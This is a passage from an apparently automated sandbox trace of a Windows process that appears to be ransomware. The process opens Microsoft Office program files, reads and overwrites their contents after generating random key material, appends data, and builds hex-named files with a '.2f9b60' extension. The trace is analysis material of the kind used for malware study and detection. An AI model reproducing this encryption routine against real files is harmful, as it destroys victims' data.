ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.362] wcscmp (_String1="..", _String2=".") returned 1 [0155.362] wcscmp (_String1="..", _String2="..") returned 0 [0155.362] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0155.362] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0155.362] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0155.362] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0155.362] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0155.362] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0155.362] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0155.362] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0155.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0155.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7731b0) returned 1 [0155.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 Thread: id = 2546 os_tid = 0x2034 [0155.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest")) returned 0x20 [0155.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest", dwFileAttributes=0x20) returned 1 [0155.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1260 [0155.371] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x3161f820 | out: lpFileSize=0x3161f820*=3506) returned 1 [0155.371] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0xdae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.371] ReadFile (in: hFile=0x1260, lpBuffer=0x3161f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3161f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3161f7a0*, lpNumberOfBytesRead=0x3161f7e8*=0x4, lpOverlapped=0x0) returned 1 [0155.381] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 [0155.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d70 [0155.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d10 [0155.382] NtQuerySystemTime (in: CurrentTime=0x3161f6e0 | out: CurrentTime=0x3161f6e0*=132462177605158000) returned 0x0 [0155.382] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x2ff48f4b [0155.382] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x6c88731e [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x6a517354 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x3f182e4d [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x2b288d73 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x30b10441 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x7f1b89b7 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x6b5a58c7 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x607dbdbb [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x9066898 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x77353e66 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x27fc5fc0 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x50b4166f [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x200966bb [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x7a7d5c52 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x52bc5948 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x4cda3e45 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x615588e3 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0xbe608f9 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x37bb2761 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x7c44dafe [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x5441579d [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x2f57fb85 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x6a8dcfa [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x4ea3e48e [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x31855f61 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x23ec6944 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x225a7600 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x70029a86 [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0xf235f3e [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x49f4aeb [0155.383] RtlRandomEx (in: Seed=0x3161f6d0 | out: Seed=0x3161f6d0) returned 0x1b693361 [0155.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0155.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23fa0 [0155.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0155.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23fa0) returned 1 [0155.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d10) returned 1 [0155.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8da0) returned 1 [0155.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18640 [0155.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23fa0 [0155.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 [0155.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8da0) returned 1 [0155.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42916280 [0155.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42919e90 [0155.395] ReadFile (in: hFile=0x1260, lpBuffer=0x42916280, nNumberOfBytesToRead=0xdb2, lpNumberOfBytesRead=0x3161f6d0, lpOverlapped=0x0 | out: lpBuffer=0x42916280*, lpNumberOfBytesRead=0x3161f6d0*=0xdb2, lpOverlapped=0x0) returned 1 [0155.395] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.395] WriteFile (in: hFile=0x1260, lpBuffer=0x42919e90*, nNumberOfBytesToWrite=0xdb2, lpNumberOfBytesWritten=0x3161f6d4, lpOverlapped=0x0 | out: lpBuffer=0x42919e90*, lpNumberOfBytesWritten=0x3161f6d4*=0xdb2, lpOverlapped=0x0) returned 1 [0162.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18db0 [0162.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18de0 [0162.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18de0) returned 1 [0162.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42919e90) returned 1 [0162.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42916280) returned 1 [0162.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23fa0) returned 1 [0162.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18640) returned 1 [0162.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa8e0 [0162.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18640 [0162.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23fa0 [0162.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18de0 [0162.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18de0) returned 1 [0162.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa8a0 [0162.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18de0 [0162.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e10 [0162.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e10) returned 1 [0162.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23fa0) returned 1 [0162.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18640) returned 1 [0162.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b86fe00 [0162.517] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.517] WriteFile (in: hFile=0x1260, lpBuffer=0x1b86fe00*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3161f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b86fe00*, lpNumberOfBytesWritten=0x3161f7f0*=0x11c, lpOverlapped=0x0) returned 1 [0164.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0164.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b10 [0164.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2b10) returned 1 [0164.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7aa360 [0164.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b10 [0164.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ae0 [0164.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ae0) returned 1 [0164.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd87030 [0164.636] sprintf (in: _Dest=0x1cd87030, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.636] sprintf (in: _Dest=0x1cd87032, _Format="%c%c" | out: _Dest="71") returned 2 [0164.636] sprintf (in: _Dest=0x1cd87034, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.636] sprintf (in: _Dest=0x1cd87036, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.636] sprintf (in: _Dest=0x1cd87038, _Format="%c%c" | out: _Dest="b9") returned 2 [0164.636] sprintf (in: _Dest=0x1cd8703a, _Format="%c%c" | out: _Dest="51") returned 2 [0164.637] sprintf (in: _Dest=0x1cd8703c, _Format="%c%c" | out: _Dest="59") returned 2 [0164.637] sprintf (in: _Dest=0x1cd8703e, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87040, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87042, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87044, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87046, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87048, _Format="%c%c" | out: _Dest="82") returned 2 [0164.637] sprintf (in: _Dest=0x1cd8704a, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.637] sprintf (in: _Dest=0x1cd8704c, _Format="%c%c" | out: _Dest="94") returned 2 [0164.637] sprintf (in: _Dest=0x1cd8704e, _Format="%c%c" | out: _Dest="69") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87050, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87052, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.637] sprintf (in: _Dest=0x1cd87054, _Format="%c%c" | out: _Dest="74") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87056, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87058, _Format="%c%c" | out: _Dest="55") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8705a, _Format="%c%c" | out: _Dest="b8") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8705c, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8705e, _Format="%c%c" | out: _Dest="bc") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87060, _Format="%c%c" | out: _Dest="fa") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87062, _Format="%c%c" | out: _Dest="12") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87064, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87066, _Format="%c%c" | out: _Dest="07") returned 2 [0164.638] sprintf (in: _Dest=0x1cd87068, _Format="%c%c" | out: _Dest="33") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8706a, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8706c, _Format="%c%c" | out: _Dest="cf") returned 2 [0164.638] sprintf (in: _Dest=0x1cd8706e, _Format="%c%c" | out: _Dest="24") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87070, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87072, _Format="%c%c" | out: _Dest="61") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87074, _Format="%c%c" | out: _Dest="56") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87076, _Format="%c%c" | out: _Dest="21") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87078, _Format="%c%c" | out: _Dest="07") returned 2 [0164.639] sprintf (in: _Dest=0x1cd8707a, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.639] sprintf (in: _Dest=0x1cd8707c, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.639] sprintf (in: _Dest=0x1cd8707e, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87080, _Format="%c%c" | out: _Dest="25") returned 2 [0164.639] sprintf (in: _Dest=0x1cd87082, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.639] RtlInitAnsiString (in: DestinationString=0x3161f868, SourceString="c0712d8fb951595e5ef44fdd825a94697ed2745a55b8a9bcfa12bf0733d6cf242d61562107c56ed2258c" | out: DestinationString="c0712d8fb951595e5ef44fdd825a94697ed2745a55b8a9bcfa12bf0733d6cf242d61562107c56ed2258c") [0164.639] RtlAnsiStringToUnicodeString (in: DestinationString=0x3161f838, SourceString="c0712d8fb951595e5ef44fdd825a94697ed2745a55b8a9bcfa12bf0733d6cf242d61562107c56ed2258c", AllocateDestinationString=1 | out: DestinationString="c0712d8fb951595e5ef44fdd825a94697ed2745a55b8a9bcfa12bf0733d6cf242d61562107c56ed2258c") returned 0x0 [0164.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c36210 [0164.640] RtlFreeAnsiString (AnsiString="c") [0164.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0164.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa360) returned 1 [0164.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2b10) returned 1 [0164.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86fe00) returned 1 [0164.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa8a0) returned 1 [0164.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18de0) returned 1 [0164.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa8e0) returned 1 [0164.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18db0) returned 1 [0164.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d70) returned 1 [0164.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0164.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0164.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30630 [0164.644] wcscat (in: _Dest=0x42c30630, _Source="c0712d8fb951595e5ef44" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44") returned="C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44" [0164.644] wcscat (in: _Dest=0x42c30630, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44.2f9b60" [0164.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44.2f9b60", NtPathName=0x3161f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\c0712d8fb951595e5ef44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x42c36150 Thread: id = 2547 os_tid = 0x2038 [0155.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml")) returned 0x20 [0155.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML", dwFileAttributes=0x20) returned 1 [0155.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe9c [0155.398] GetFileSizeEx (in: hFile=0xe9c, lpFileSize=0x3140fd20 | out: lpFileSize=0x3140fd20*=79716) returned 1 [0155.398] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x13760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.398] ReadFile (in: hFile=0xe9c, lpBuffer=0x3140fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3140fce8, lpOverlapped=0x0 | out: lpBuffer=0x3140fca0*, lpNumberOfBytesRead=0x3140fce8*=0x4, lpOverlapped=0x0) returned 1 [0155.401] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 [0155.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d10 [0155.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.401] NtQuerySystemTime (in: CurrentTime=0x3140fbe0 | out: CurrentTime=0x3140fbe0*=132462177605314000) returned 0x0 [0155.401] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x20cdec77 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x5f62fe41 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x222df8ea [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x1905a7ee [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x1635aef0 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x35e3d721 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x45563f7 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x373a9d21 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x37a9790d [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x7a9a6608 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x599ad573 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x40c29320 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x15a3b3bf [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x5dff86c3 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x227dd7a2 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x796098f6 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x39856a0e [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0xb0f18e8 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x749e8abf [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x101050d4 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x506c6d39 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x46b2644e [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x38c99186 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x6a969d48 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x65fc5eac [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x45588969 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x548d04ef [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0xb653963 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x29d35e40 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x2983767a [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x3f56c699 [0155.402] RtlRandomEx (in: Seed=0x3140fbd0 | out: Seed=0x3140fbd0) returned 0x493a40eb [0155.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae20 [0155.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24020 [0155.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaeb0 [0155.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24020) returned 1 [0155.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8da0) returned 1 [0155.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4291daa0 [0155.413] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.413] ReadFile (in: hFile=0xe9c, lpBuffer=0x4291daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3140fc40, lpOverlapped=0x0 | out: lpBuffer=0x4291daa0*, lpNumberOfBytesRead=0x3140fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0155.456] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0155.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce240a0 [0155.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8da0 